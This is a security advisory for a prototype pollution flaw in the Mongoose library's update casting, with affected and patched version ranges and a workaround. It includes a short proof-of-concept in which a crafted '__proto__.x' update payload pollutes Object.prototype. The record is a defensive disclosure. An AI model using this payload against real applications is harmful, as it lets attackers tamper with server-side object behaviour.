Advisory

GHSA-664h-wqgq-64gw

Also known as: BIT-mongoose-2026-73562, CVE-2026-73562

Summary

Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)

Details

Impact
_What kind of vulnerability is it? Who is impacted?_

Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.

Example:

const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath);            // undefined

const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}');   // attacker-controlled update

const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }

console.log('after :', Object.prototype.$fullPath);            // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true
console.log('fresh {}:', ({}).$fullPath);                      // "__proto__"

Patches
_Has the problem been patched? What versions should users upgrade to?_

9.7.2, 8.24.1. 7.8.10, 6.13.10

Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

Check user-controlled updates for own __proto__ properties before passing to Mongoose

References
_Are there any links users can visit to find out more?_

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-07-24 16:22 UTC
Modified
2026-08-19 09:55 UTC

Affected packages and fixes

mongoose

npm · All systems

Affected

  • introduced 0, fixed 6.13.10 (semver)

Fixed versions

6.13.10

Fix

mongoose

npm · All systems

Affected

  • introduced 7.0.0, fixed 7.8.10 (semver)

Fixed versions

7.8.10

Fix

mongoose

npm · All systems

Affected

  • introduced 8.0.0, fixed 8.24.1 (semver)

Fixed versions

8.24.1

Fix

mongoose

npm · All systems

Affected

  • introduced 9.0.0, fixed 9.7.2 (semver)

Fixed versions

9.7.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences